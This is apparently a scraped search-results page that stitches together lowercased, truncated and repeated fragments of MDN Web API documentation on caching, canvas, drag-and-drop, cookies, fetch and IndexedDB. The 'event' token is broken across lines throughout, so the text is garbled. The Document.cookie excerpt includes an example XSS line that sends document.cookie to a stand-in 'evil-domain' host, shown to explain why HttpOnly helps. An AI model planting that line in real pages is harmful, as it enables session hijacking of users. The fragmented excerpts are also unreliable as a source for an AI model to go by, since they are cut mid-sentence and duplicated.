...lears up any old, unused caches before a new service worker is activated. here we have an array of cache names we want to keep (cachestokeep). we return the keys of the caches in the cachestorage object using cachestorage.keys, then check each key to see if it is in the array. if not, we delete it using delete(). this.add
eventlistener('activate', function(
event) { var cachestokeep = ['v2'];
event.waituntil( caches.keys().then(function(keylist) { return promise.all(keylist.map(function(key) { if (cachestokeep.indexof(key) === -1) { return caches.delete(key); } })); }) ); }); specifications specification status comment service workersthe definition of 'cachestorage: delete' in that specification. working draft i...
CacheStorage.open() - Web APIs
mise that resolves to this new cache object is returned. syntax caches.open(cachename).then(function(cache) { // do something with your cache }); parameters cachename the name of the cache you want to open. return value a promise that resolves to the requested cache object. examples this example is from the mdn sw-test example (see sw-test running live). ...
.... return value a promise that resolves to the requested cache object. examples this example is from the mdn sw-test example (see sw-test running live). here we wait for an install
event to fire, then runs waituntil() to handle the install process for the app. this consists of calling cachestorage.open() to create a new cache, then using cache.addall() to add a series of assets to it. ...
...esolves to the requested cache object. examples this example is from the mdn sw-test example (see sw-test running live). here we wait for an install
event to fire, then runs waituntil() to handle the install process for the app. this consists of calling cachestorage.open() to create a new cache, then using cache.addall() to add a series of assets to it. ...
...the requested cache object. examples this example is from the mdn sw-test example (see sw-test running live). here we wait for an install
event to fire, then runs waituntil() to handle the install process for the app. this consists of calling cachestorage.open() to create a new cache, then using cache.addall() to add a series of assets to it. ...
CanvasRenderingContext2D.isPointInPath() - Web APIs
the cursor is in a circular path2d path. if yes, the circle becomes green, otherwise it is red. ...
...ath. if yes, the circle becomes green, otherwise it is red. ...
... living standard ...
... living standard ...
Manipulating video using canvas - Web APIs
e green background in the video. the javascript code is imported from a script named processor.js. the javascript code the javascript code in processor.js consists of three methods. initializing the chroma-key player the doload() method is called when the xhtml document initially loads. ...
... an
event listener so we can detect when the user starts playing the video. var processor; processor.doload = function doload() { this.video = document.getelementbyid('video'); this.c1 = document.getelementbyid('c1'); this.ctx1 = this.c1.getcontext('2d'); this.c2 = document.getelementbyid('c2'); this.ctx2 = this.c2.getcontext('2d'); let self = this; this.video.add
eventlistener('play', function() { self.width = self.video.videowidth / 2; self.height = self.video.videoheight / 2; self.timercallback(); }, false); }, this code grabs references to the elements in the xhtml document that are of particular interest, namely the video element and the two canvas elements. it also fetches references to the graphics contexts for each of t...
...= self.video.videoheight / 2; self.timercallback(); }, false); }, this code grabs references to the elements in the xhtml document that are of particular interest, namely the video element and the two canvas elements. it also fetches references to the graphics contexts for each of the two canvases. these will be used when we're actually doing the chroma-keying effect. then add
eventlistener() is called to begin watching the video element so that we obtain notification when the user presses the play button on the video. in response to the user beginning playback, this code fetches the width and height of the video, halving each (we will be halving the size of the video when we perform the chroma-keying effect), then calls the timercallback() method to start watching the vide...
...n response to the user beginning playback, this code fetches the width and height of the video, halving each (we will be halving the size of the video when we perform the chroma-keying effect), then calls the timercallback() method to start watching the video and computing the visual effect. the timer callback the timer callback is called initially when the video starts playing (when the "play"
event occurs), then takes responsibility for establishing itself to be called periodically in order to launch the keying effect for each frame. processor.timercallback = function timercallback() { if (this.video.paused || this.video.ended) { return; } this.computeframe(); let self = this; settimeout(function() { self.timercallback(); }, 0); }, the first th...
Drawing text - Web APIs
measuretext() retu...
... measuretext() returns a textmetrics object containing the width, in pixels, that the specified text will be ...
... measuretext() returns a textmetrics object containing the width, in pixels, that the specified text will be when drawn in the current text style. the following code snippet shows...
...eset'); var edit = document.getelementbyid('edit'); var code = textarea.value; function drawcanvas() { ctx.clearrect(0, 0, canvas.width, canvas.height); eval(textarea.value); } reset.add
eventlistener('click', function() { textarea.value = code; drawcanvas(); }); edit.add
eventlistener('click', function() { textarea.focus(); }) textarea.add
eventlistener('input', drawcanvas); window.add
eventlistener('load', drawcanvas); advanced text measurements in the case you need to obtain more details about the text, the following method allows you to measure it. measuretext() returns a textmetrics object containing the width, in pixels, that the specified text will be when drawn in the current text style. the following code snippet shows how you can measure a text and get its width.
DataTransfer.mozGetDataAt() - Web APIs
the datatransfer.mozgetdataat() method is used to retrieve an item in the drag
event's data transfer object, based on a given format and index. this method returns null if the specified item does not exist or if the index is not in the range from zero to the number of items minus one. note: this method is gecko-specific. syntax nsivariant datatransfer.mozgetdataat([type], index); arguments type a string representing the type of the drag data to retrieve from the drag data object. index a unsigned long representing the index of the data to retrieve. return value nsivariant the data item requested. if the specified item does not exist, null is returned. ...
...er.mozgetdataat([type], index); arguments type a string representing the type of the drag data to retrieve from the drag data object. index a unsigned long representing the index of the data to retrieve. return value nsivariant the data item requested. if the specified item does not exist, null is returned. ...
...ments type a string representing the type of the drag data to retrieve from the drag data object. index a unsigned long representing the index of the data to retrieve. return value nsivariant the data item requested. if the specified item does not exist, null is returned. example this example shows the use of the mozgetdataat() method in a drop
event handler. ...
...ing representing the type of the drag data to retrieve from the drag data object. index a unsigned long representing the index of the data to retrieve. return value nsivariant the data item requested. if the specified item does not exist, null is returned. example this example shows the use of the mozgetdataat() method in a drop
event handler. ...
DataTransfer.types - Web APIs
the order of the formats is the same order as the data included in the drag operation. the formats are unicode strings giving the type or format of the data, generally given by a mime type. some values that are not mime types are special-cased for legacy reasons (for example "text"). syntax datatransfer.types; return value an array of the data formats used in the drag operation. each format is string. if the drag operation included no data, this list will be empty. ...
...types[" + i + "] = " + ev.datatransfer.types[i]); } } // print e...
.... types[" + i + "] = " + ev.datatransfer.types[i]); } } // print each item's "kind" and "type" if (ev.datatransfer.items != null) { for (var i=0; i < ev.datatransfer.items.length; i++) { console.log("... ...
...ransfer.items[i].kind + " ; type = " + ev.datatransfer.items[i].type); } } } function dragover_handler(ev) { console.log("dragover"); ev.pr
eventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } </script> <body> <h1>examples of <code>datatransfer</code>.{<code>types</code>, <code>items</code>} properties</h1> <ul> <li id="i1" ondragstart="dragstart_handler(
event);" draggable="true">drag item 1 to the drop zone</li> <li id="i2" ondragstart="dragstart_handler(
event);" draggable="true">drag item 2 to the drop zone</li> </ul> <div id="target" ondrop="drop_handler(
event);" ondragover="dragover_handler(
event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'type...
DataTransferItemList.remove() - Web APIs
's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>... ...
...the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>... ...
...tem is html data[i].getasstring(function (s){ console.log("... drop: html = " + s); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/uri-list'))) { // drag data item is uri data[i].getasstring(function (s){ console.log("... ...
...fer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; for (var i = 0; i < datalist.length; i++) { datalist.remove(i); } // clear any remaining drag data datalist.clear(); } html <h1>example uses of <code>datatransferitemlist</code> methods and property</h1> <div> <p id="source" ondragstart="dragstart_handler(
event);" ondragend="dragend_handler(
event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(
event);" ondragover="dragover_handler(
event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target...
Document.cookie - Web APIs
n timeout instead of relying on the browser to do it. many browsers let users specify that cookies should never expire, which is not necessarily safe. see date.toutcstring() for help formatting this value. ;secure cookie to only be transmitted over secure protocol as https. before chrome 52, this flag could appear with cookies from http domains. ...
...otocol as https. before chrome 52, this flag could appear with cookies from http domains. ;samesite samesite pr
events the browser from sending this cookie along with cross-site requests. possible values are lax, strict or none. the lax value value will send the cookie for all same-site requests and top-level navigation get requests. this is sufficient for user tracking, but it will pr
event many csrf attacks. this is the default value in modern browsers. the strict value will pr
event the cookie from being sent by the browser to the target site in all cross-site browsing contexts, even when following a regular link. the none value explicitly states no restrictions will be applied. the cookie will be sent in all requests—both cross-site and same-site. the co...
...e in requests transmitted over a secure channel. __host- signals to the browser that in addition to the restriction to only use the cookie from a secure origin, the scope of the cookie is limited to a path attribute passed down by the server. if the server omits the path attribute the "directory" of the request uri is used. it also signals that the domain attribute must not be present, which pr
events the cookie from being sent to other domains. for chrome the path attribute must always be the origin. the dash is considered part of the prefix. these flags are only settable with the secure attribute. note: as you can see from the code above, document.cookie is an accessor property with native setter and getter functions, and consequently is not a data property with a value: what y...
...d session. so stealing the cookie from a web application, will lead to hijacking the authenticated user's session. common ways to steal cookies include using social engineering or by exploiting an xss vulnerability in the application - (new image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; the httponly cookie attribute can help to mitigate this attack by pr
eventing access to cookie value through javascript. read more about cookies and security. notes starting with firefox 2, a better mechanism for client-side storage is available - whatwg dom storage. you can delete a cookie by simply updating its expiration time to zero. keep in mind that the more cookies you have, the more data will be transferred between the server and the client for each reques...
EffectTiming.fill - Web APIs
begins and after it ends, and so forth. here we specify that the animation should take 2000 milliseconds (2 seconds) to complete, should only run once, and that the fill mode should be "none". as defined above, the "none" fill mode means that the element will be rendered in its natural, unaltered condition anytime the animation isn't actively running. ...
...s, and so forth. here we specify that the animation should take 2000 milliseconds (2 seconds) to complete, should only run once, and that the fill mode should be "none". as defined above, the "none" fill mode means that the element will be rendered in its natural, unaltered condition anytime the animation isn't actively running. ...
...". as defined above, the "none" fill mode means that the element will be rendered in its natural, unaltered condition anytime the animation isn't actively running. document.getelementbyid("animatebutton").add
eventlistener("click",
event => { document.getelementbyid("box").animate( boxrotationkeyframes, boxrotationtiming ); }, false); the rest of the code is pretty simple: it adds an
event listener to the "animate" button so that when it's clicked by the user, the box is animated by calling element.animate() on it, providing the boxrotationkeyframes and boxrotationtiming objects to describe the animation that should occur. result below we see what the result looks like. notice how before the animation starts running, the box is upright, then upon clicking the "animate!" button, t...
...gering the animation and then animate from the start value. this is the approach used in flip animation. elem.style.transform = 'translatey(100px)'; elem.animate({ transform: 'none', offset: 0 }, 200); for some complex effects where animations layer on top of one another, it may be necessary to use a fill mode temporarily to capture the final value of an animation before canceling it. elem.add
eventlistener('click', async evt => { const animation = elem.animate( { transform: `translate(${evt.clientx}px, ${evt.clienty}px)` }, { duration: 800, fill: 'forwards' } ); await animation.finished; // commitstyles will record the style up to and including `animation` and // update elem’s specified style with the result. animation.commitstyles(); animation.cancel(); }); specif...
Element.releasePointerCapture() - Web APIs
return value this method returns undefined. exceptions exception explanation invalidpointerid pointerid does not match any of the active pointers. ...
... return value this method returns undefined. exceptions exception explanation invalidpointerid pointerid does not match any of the active pointers. ...
... obsolete initial definition. ...
... obsolete initial definition. ...
Using Fetch - Web APIs
ical place to define other http-related concepts such as cors and extensions to http. the fetch specification differs from jquery.ajax() in three main ways: the promise returned from fetch() won’t reject on http error status even if the response is an http 404 or 500. instead, it will resolve normally (with ok status set to false), and it will only reject on network failure or if anything pr
evented the request from completing. fetch() won't can receive cross-site cookies; you can’t can establish a cross site session using fetch. set-cookie headers from other sites are silently ignored. fetch won’t send cookies, unless you set the credentials init option. (since aug 25, 2017. the spec changed the default credentials policy to same-origin. firefox changed since 61.0b13.) a basic fet...
...ttp status code message. response.ok — seen in use above, this is a shorthand for checking that status is in the range 200-299 inclusive. this returns a boolean. ...
...se.ok — seen in use above, this is a shorthand for checking that status is in the range 200-299 inclusive. this returns a boolean. they can also be created programmatically via javascript, but this is only really useful in serviceworkers, when you are providing a custom response to a received request using a respondwith() method: const mybody = new blob(); add
eventlistener('fetch', function(
event) { // serviceworker intercepting a fetch
event.respondwith( new response(mybody, { headers: { 'content-type': 'text/plain' } }) ); }); the response() constructor takes two optional arguments — a body for the response, and an init object (similar to the one that request() accepts.) note: the static method error() simply returns an error response. similarly, redirect() ...
...e also only relevant to service workers. body both requests and responses may contain body data. a body is an instance of any of the following types: arraybuffer arraybufferview (uint8array and friends) blob/file string urlsearchparams formdata the body mixin defines the following methods to extract a body (implemented by both request and response). these all return a promise that is
eventually resolved with the actual content. arraybuffer() blob() json() text() formdata() this makes usage of non-textual data much easier than it was with xhr. request bodies can be set by passing body parameters: const form = new formdata(document.getelementbyid('login-form')); fetch('/login', { method: 'post', body: form }); both request and response (and by extension the fetch() f...
File.webkitRelativePath - Web APIs
e's path relative to the directory selected by the user in an <input> element with its webkitdirectory attribute set. syntax relativepath = file.webkitrelativepath value a usvstring containing the path of the file relative to the ancestor directory the user selected. example in this example, a directory picker is presented which lets the user choose one or more directories. ...
...ample, a directory picker is presented which lets the user choose one or more directories. when the change
event occurs, a list of all files contained within the selected directory hierarchies is generated and displayed. ...
...ented which lets the user choose one or more directories. when the change
event occurs, a list of all files contained within the selected directory hierarchies is generated and displayed. ...
...
event occurs, a list of all files contained within the selected directory hierarchies is generated and displayed. html content <input type="file" id="filepicker" name="filelist" webkitdirectory multiple /> <ul id="listing"></ul> javascript content document.getelementbyid("filepicker").add
eventlistener("change", function(
event) { let output = document.getelementbyid("listing"); let files =
event.target.files; for (let i=0; i<files.length; i++) { let item = document.createelement("li"); item.innerhtml = files[i].webkitrelativepath; output.appendchild(item); }; }, false); result specifications specification status comment file and directory entries apithe definition of 'webkitrelativepath' in that specification. draft initial specifi...
FileReader.onload - Web APIs
the filereader.onload property contains an
event handler executed when the load
event is fired, when content read with readasarraybuffer, readasbinarystring, readasdataurl or readastext is available. ...
... the filereader.onload property contains an
event handler executed when the load
event is fired, when content read with readasarraybuffer, readasbinarystring, readasdataurl or readastext is available. ...
... the filereader.onload property contains an
event handler executed when the load
event is fired, when content read with readasarraybuffer, readasbinarystring, readasdataurl or readastext is available. ...
... the filereader.onload property contains an
event handler executed when the load
event is fired, when content read with readasarraybuffer, readasbinarystring, readasdataurl or readastext is available. ...
Frame Timing API - Web APIs
the performanceframetiming interface provides frame timing data about the browser's
event loop. a frame represents the amount of work a browser does in one
event loop iteration such as processing dom
events, resizing, scrolling, rendering, css animations, etc. a frame rate of 60 fps (frames per second) for a 60 hz refresh rate is a common target for a good responsive user experience. this means the browser should process a frame in about 16.7 ms. an application can register a performanceobserver for "frame" performance entry types. the observer (callback) will be notified when new "frame"
events are added to the browser's performance timeline and the frame's duration (length of time) will be available. this data can be used to help identify areas that take too long to provide a good...
...the domhighrestimestamp when the frame was started. performanceentry.duration set to a timestamp indicating the difference between the starttimes of two successive frames. this data, particularly the duration timestamp, can be used to help identify performance problems. frame observers the performance observer interfaces allow an application to register an observer for specific performance
event types. when one of those
event types is recorded in the browser's performance timeline, the application is notified of the
event via the observer's callback function that was specified when the observer was created. to observe "frame" performance entry types, the application first creates a performanceobserver object with a specific frame observer callback (function). next, performanceobserver.o...
...when the browser adds a new frame to the performance timeline, the specified observer callback will be invoked. ...
...when the browser adds a new frame to the performance timeline, the specified observer callback will be invoked. accessing frame data when a frame observer is invoked, frame performance entries can be retrieved by calling performanceobserverentrylist.getentriesbytype() with an argument of "frame". this method returns a list of "frame" performanceentry objects. ...
GeolocationCoordinates.longitude - Web APIs
st people think of. it is, instead, the iers reference meridian, which is located 5.3 arcseconds (102 meters / 335 feet) east of the greenwich meridian. this is the same standard used by the global positioning system (gps). examples in this simple example, we fetch the user's location and display the resulting coordinates once they're returned. ...
...location and display the resulting coordinates once they're returned. javascript the javascript code below creates an
event listener so that when the user clicks on a button, the location information is retrieved and displayed. ...
...this is an asynchronous request, so we provide a callback which receives as in put a geolocationposition object describing the determin...
...tion(function(position) { let lat = position.coords.latitude; let long = position.coords.longitude; lattext.innertext = lat.tofixed(2); longtext.innertext = long.tofixed(2); }); }); after setting up variables to more conveniently reference the button element and the two elements into which the latitude and logitude will be drawn, the
event listener is established by calling add
eventlistener() on the <button> element. when the user clicks the button, we'll fetch and display the location information. upon receiving a click
event, we call getcurrentposition() to request the device's current position. this is an asynchronous request, so we provide a callback which receives as in put a geolocationposition object describing the determined position. from the geolocationposition o...
Audio() - Web APIs
begin: check the value of the readystate property. if it's htmlmediaelement.have_future_data, there's enough data available to begin playback and play for at least a short time. if it's htmlmediaelement.have_enough_data, then there's enough data available that, given the current download rate, you should be able to play the audio through to the end without interruption. listen for the canplay
event. ...
...east a short time. if it's htmlmediaelement.have_enough_data, then there's enough data available that, given the current download rate, you should be able to play the audio through to the end without interruption. listen for the canplay
event. it is sent to the <audio> element when there's enough audio available to begin playback, although interruptions may occur). listen for the canplaythrough
event. it is sent when it's estimated that the audio should be able to play to the end without interruption. ...
...rrent download rate, you should be able to play the audio through to the end without interruption. listen for the canplay
event. it is sent to the <audio> element when there's enough audio available to begin playback, although interruptions may occur). listen for the canplaythrough
event. it is sent when it's estimated that the audio should be able to play to the end without interruption. ...
...he audio through to the end without interruption. listen for the canplay
event. it is sent to the <audio> element when there's enough audio available to begin playback, although interruptions may occur). listen for the canplaythrough
event. it is sent when it's estimated that the audio should be able to play to the end without interruption. the
event-based approach is best: myaudioelement.add
eventlistener("canplaythrough",
event => { /* the audio is now playable; play it if permissions allow */ myaudioelement.play(); }); memory usage and management if all references to an audio element created using the audio() constructor are deleted, the element itself won't be removed from memory by the javascript runtime's garbage collection mechanism if playback is currently underway. instead, t...
HTMLAudioElement - Web APIs
on, and inherits properties and methods from, the htmlmediaelement interface. ...
...position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4...
... properties no specific properties; inherits properties from its parent, htmlmediaelement, and from htmlelement. methods inherits methods from its parent, htmlmediaelement, and from htmlelement. it offers no method...
...age load. modern browser's default autoplay policy will block that from happening. refer to firefox and chrome for best practices and work arounds. some of the more commonly used properties of the audio element include src, currenttime, duration, paused, muted, and volume. this snippet copies the audio file's duration to a variable: var audioelement = new audio('car_horn.wav'); audioelement.add
eventlistener('loadeddata', () => { let duration = audioelement.duration; // the duration variable now holds the duration (in seconds) of the audio clip })
events inherits methods from its parent, htmlmediaelement, and from its ancestor htmlelement. listen to
events using add
eventlistener() or by assigning an
event listener to the on
eventname property of this interface. specifications ...
HTMLCanvasElement - Web APIs
terface also inherits the properties and methods of the htmlelement interface. ...
...position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4...
... htmlcanvaselement.height the height html attribute of the <canvas> element is a positive integer reflecting the number of logical pixels (or rgba values) going down one column of the canvas. when the attribute is not specified, or if it is set to an invalid value, like a negative, the default value of 150 is used. if ...
... user agent. htmlcanvaselement.transfercontroltooffscreen() transfers control to an offscreencanvas object, either on the main thread or on a worker. obsolete methods htmlcanvaselement.mozgetasfile() returns a file object representing the image contained in the canvas; this file is a memory-based file, with the specified name. if type is not specified, the image type is image/png.
events listen to these
events using add
eventlistener(). webglcontextcreationerror fired if the user agent is unable to create a webglrenderingcontext or webgl2renderingcontext context. webglcontextlost fired if the user agent detects that the drawing buffer associated with a webglrenderingcontext or webgl2renderingcontext object has been lost. webglcontextrestored fired if the user agent resto...
HTMLDialogElement - Web APIs
htmldialogelement.open a boolean reflecting the open html attribute, indicating whether the dialog is available for interaction. htmldialogelement.returnvalue a domstring that sets or returns the return value for the dialog. methods inherits methods from its parent, htmlelement. htmldialogelement.close() clos...
...he dialog. an optional domstring may be passed as an argument, updating the returnvalue of the the dialog. htmldialogelement.show() displays the dialog modelessly, i.e. still allowing interaction with content outside of the dialog. htmldialogelement.showmodal() displays the dialog as a modal, over the top of any other dialogs that might be present. interaction outside the dialog is blocked.
events close fired when the dialog is closed. also available via the onclose property. examples the following example shows a simple button that, when clicked, opens a <dialog> containing a form via the htmldialogelement.showmodal() function. from there you can click the cancel button to close the dialog (via the htmldialogelement.close() function), or submit the form via the submit button. ...
... s...
... specifications specification status comment html living standardthe definition of 'htmldialogelement' in that specification. living standard ...
HTMLInputElement.webkitdirectory - Web APIs
have a webkitrelativepath of photoalbums/birthdays/don's 40th birthday/pic2343.jpg. this makes it possible to know the hierarchy even though the filelist is flat. note: the behavior of webkitrelativepath is different in chromium < 72. see this bug for further details. example in this example, a directory picker is presented which lets the user choose one or more directories. ...
...ample, a directory picker is presented which lets the user choose one or more directories. when the change
event occurs, a list of all files contained within the selected directory hierarchies is generated and displayed. ...
...ented which lets the user choose one or more directories. when the change
event occurs, a list of all files contained within the selected directory hierarchies is generated and displayed. ...
...
event occurs, a list of all files contained within the selected directory hierarchies is generated and displayed. html content <input type="file" id="filepicker" name="filelist" webkitdirectory multiple /> <ul id="listing"></ul> javascript content document.getelementbyid("filepicker").add
eventlistener("change", function(
event) { let output = document.getelementbyid("listing"); let files =
event.target.files; for (let i=0; i<files.length; i++) { let item = document.createelement("li"); item.innerhtml = files[i].webkitrelativepath; output.appendchild(item); }; }, false); result specifications specification status comment file and directory entries apithe definition of 'webkitdirectory' in that specification. draft initial specificat...
HTMLMediaElement.onencrypted - Web APIs
the onencrypted property of the htmlmediaelement is an
event handler, fired whenever an encrypted
event occurs, denoting the media is encrypted. this interface inherits from the extendable
event interface. ...
...ed. this interface inherits from the extendable
event interface. ...
... position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4...
...} specifications specification status comment encrypted media extensionsthe definition of 'onencrypted' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contr...
HTMLMediaElement.onwaitingforkey - Web APIs
the onwaitingforkey property of the htmlmediaelement is an
event handler, fired when a waitingforkey
event occurs, when playback is blocked while waiting for an encryption key. this interface inherits from the extendable
event interface. ...
...ey. this interface inherits from the extendable
event interface. ...
... position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4...
...} specifications specification status comment encrypted media extensionsthe definition of 'onwaitingforkey' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd l...
HTMLOutputElement - Web APIs
tmlelement) for manipulating the layout and presentation of <output> elements. ...
...position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4...
... htmloutputelement.defaultvalue a domstring representing the default value of the element, initially the empty string. htmloutputelement.formread only an htmlformelement indicating the form associated with the control, reflecting the form html attribute if it is defined. htmloutputelement.htmlfo...
...idate for constraint validation. methods this interface also inherits methods from its parent, htmlelement. htmloutputelement.checkvalidity() checks the validity of the element and returns a boolean holding the check result. htmloutputelement.reportvalidity() this method reports the problems with the constraints on the element, if any, to the user. if there are problems, fires an invalid
event at the element, and returns false; if there are no problems, it returns true. when the problem is reported, the user agent may focus the element and change the scrolling position of the document or perform some other action that brings the element to the user's attention. user agents may report more than one constraint violation if this element suffers from multiple problems at once. if the elem...
HTMLVideoElement - Web APIs
formats that all the browsers you need to support are covered. ...
...position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4...
... htmlvideoelement.height is a domstring that reflects the height html attribute, which specifies the height of the display area, in css pixels. htmlvideoelement.poster is a domstring that reflects the poster html attribute, which specifies an image to show while no video data is ava...
...video frame is trimmed to fit the video display. methods inherits methods from its parent, htmlmediaelement, and from its ancestor htmlelement. htmlvideoelement.getvideoplaybackquality() returns a videoplaybackquality object that contains the current playback metrics. this information includes things like the number of dropped or corrupted frames, as well as the total number of frames.
events inherits methods from its parent, htmlmediaelement, and from its ancestor htmlelement. listen to these
events using add
eventlistener() or by assigning an
event listener to the on
eventname property of this interface. specifications specification status comment html living standardthe definition of 'htmlvideoelement' in that specification. living standard ...
IDBDatabase.onerror - Web APIs
the onerror
event handler of the idbdatabase interface handles the error
event, fired when a request returns an error and bubbles up to the connection object. note: consider using idbopendbrequest.onsuccess instead (see idbrequest.onsuccess, where it is inherited from). note: this feature is available in web workers. syntax idbdatabase.onerror = function(
event) { ... } example this example shows an idbopendbrequest.onupgradeneeded block that creates a new object store; it also includes onerror and onabort functions to handle non-success cases. ...
...nsuccess instead (see idbrequest.onsuccess, where it is inherited from). note: this feature is available in web workers. syntax idbdatabase.onerror = function(
event) { ... } example this example shows an idbopendbrequest.onupgradeneeded block that creates a new object store; it also includes onerror and onabort functions to handle non-success cases. ...
...herited from). note: this feature is available in web workers. syntax idbdatabase.onerror = function(
event) { ... } example this example shows an idbopendbrequest.onupgradeneeded block that creates a new object store; it also includes onerror and onabort functions to handle non-success cases. ...
...unction(
event) { ... } example this example shows an idbopendbrequest.onupgradeneeded block that creates a new object store; it also includes onerror and onabort functions to handle non-success cases. ...
IDBIndex.openCursor() - Web APIs
the opencursor() method of the idbindex interface returns an idbrequest object, and, in a separate thread, creates a cursor over the specified key range. the method sets the position of the cursor to the appropriate record, based on the specified direction. if the key range is not specified or is null, then the range includes all the records. a success
event is always fired on the result object. if at least one record matches the key range, then the result property of the
event is set to the new idbcursorwithvalue object; the value of the cursor object is set to a structured clone of the referenced value. if no records match the key range then then the result property of the
event is set to null. note: this feature is available in web workers. syntax var request = myin...
...rsor(range); var request = myindex.opencursor(range, direction); parameters range optional a key or idbkeyrange to use as the cursor's range. if nothing is passed, this will default to a key range that selects all the records in this object store. direction optional the cursor's direction. see idbcursor constants for possible values. return value an idbrequest object on which subsequent
events related to this operation are fired. exceptions this method may raise a domexception of one of the following types: exception description transactioninactiveerror this idbindex's transaction is inactive. typeerror the value for the direction parameter is invalid. dataerror the key or key range provided contains an invalid key. ...
...the data into an html table. ...
...e. ...
IDBIndex.openKeyCursor() - Web APIs
the openkeycursor() method of the idbindex interface returns an idbrequest object, and, in a separate thread, creates a cursor over the specified key range, as arranged by this index. the method sets the position of the cursor to the appropriate key, based on the specified direction. if the key range is not specified or is null, then the range includes all the keys. a success
event is always fired on the result object. if at least one key matches the key range, then the result property of the
event is set to the new idbcursor object; the key property of the cursor object is set to the found key and the primarykey property is set to the the corresponding primary key of the found record. if no keys match the key range, then then the result property of the
event is set to null. ...
